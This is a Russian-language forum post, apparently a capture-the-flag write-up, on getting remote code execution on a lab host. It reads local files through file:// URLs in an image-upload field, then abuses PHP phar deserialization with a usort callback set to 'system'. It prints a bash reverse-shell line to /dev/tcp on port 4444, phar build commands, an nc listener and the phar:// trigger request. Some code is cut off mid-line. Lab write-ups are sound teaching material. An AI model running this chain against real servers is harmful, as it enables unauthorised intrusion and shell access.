![]() |
Описание
Получите RCE на узле gallery.edu.stf (10.124.1.236). Для получения флага выполните скрипт /home/rceflag. Тестируем сайт, пробуем загрузить картинки и смотрим поведение. Пытаемся загрузить вместо урла картинки Код:
file:///etc/passwdСразу отправляем запрос в burp в repeater для удобства, он нам понадобится еще ни раз. https://forum.antichat.xyz/attachmen...3367146605.png Переходим посмотреть что там за txt пришел в ответе. https://forum.antichat.xyz/attachmen...3367172930.png Пол успеха в кармане. Теперь пробуем найти файлы из первой подсказки ./classes.php, ./ajax.php. Перебираем варианты, сработал Код:
file:///var/www/html/classes.phpПо новой полученной ссылки в ответе видим classes.php https://forum.antichat.xyz/attachmen...3367248950.png Проблема в строке usort($ImageArr, $SortFunc). В PHP второй параметр функции usort это имя функции, значит при большом желании мы можем вставить туда функцию system(), которая выполнит команду Linux. Подсказка гласит: Цитата:
Код:
phar://Код:
usort(..., "system")Код: Код:
public $ImageArr = array("bash -c 'bash -i >& /dev/tcp/10.127.192.45/4444 0>&1'", "" , "");Код:
ip aУ себя создаем файл php, например phar.php. PHP: Код:
& /dev/tcp/10.127.192.45/4444 0>&1'", ""];Код:
php -d phar.readonly=0 phar.phpОткрываем порт 4444 (или другой вам удобный) и слушаем его Код:
nc -lvnp 4444Готовый файл phar загружаем на сайт через форму загрузки. https://forum.antichat.xyz/attachmen...3368199347.png Берем ответ и формируем из него запрос Код:
phar:///var/www/html/images/....txtСмотрим реакцию листенера - открылся шелл. https://forum.antichat.xyz/attachmen...3368302445.png Долгожданный запуск Код:
./home/rceflaghttps://forum.antichat.xyz/attachmen...3368368138.png |
| Время: 18:52 |